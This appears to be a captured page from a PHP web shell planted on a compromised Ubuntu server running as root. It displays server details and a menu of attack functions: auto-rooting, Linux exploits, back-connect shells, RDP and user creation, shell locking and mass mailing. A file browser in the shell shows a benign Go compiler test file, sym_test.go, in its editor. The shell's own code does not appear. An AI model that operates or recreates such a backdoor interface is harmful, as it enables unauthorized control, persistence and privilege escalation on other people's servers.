Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
src /
cmd /
compile /
internal /
types /
[ HOME SHELL ]
Name
Size
Permission
Action
etype_string.go
1.52
KB
-rw-r--r--
identity.go
3.29
KB
-rw-r--r--
pkg.go
3.44
KB
-rw-r--r--
scope.go
2.34
KB
-rw-r--r--
sizeof_test.go
1.01
KB
-rw-r--r--
sym.go
4.33
KB
-rw-r--r--
sym_test.go
1.23
KB
-rw-r--r--
type.go
34.34
KB
-rw-r--r--
utils.go
1.97
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : sym_test.go
// Copyright 2015 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package types_test import ( "cmd/compile/internal/types" "reflect" "sort" "testing" ) func TestSymLess(t *testing.T) { var ( local = types.NewPkg("", "") abc = types.NewPkg("abc", "") uvw = types.NewPkg("uvw", "") xyz = types.NewPkg("xyz", "") gr = types.NewPkg("gr", "") ) data := []*types.Sym{ abc.Lookup("b"), local.Lookup("B"), local.Lookup("C"), uvw.Lookup("c"), local.Lookup("C"), gr.Lookup("φ"), local.Lookup("Φ"), xyz.Lookup("b"), abc.Lookup("a"), local.Lookup("B"), } want := []*types.Sym{ local.Lookup("B"), local.Lookup("B"), local.Lookup("C"), local.Lookup("C"), local.Lookup("Φ"), abc.Lookup("a"), abc.Lookup("b"), xyz.Lookup("b"), uvw.Lookup("c"), gr.Lookup("φ"), } if len(data) != len(want) { t.Fatal("want and data must match") } if reflect.DeepEqual(data, want) { t.Fatal("data must be shuffled") } sort.Slice(data, func(i, j int) bool { return data[i].Less(data[j]) }) if !reflect.DeepEqual(data, want) { t.Logf("want: %#v", want) t.Logf("data: %#v", data) t.Errorf("sorting failed") } }
Close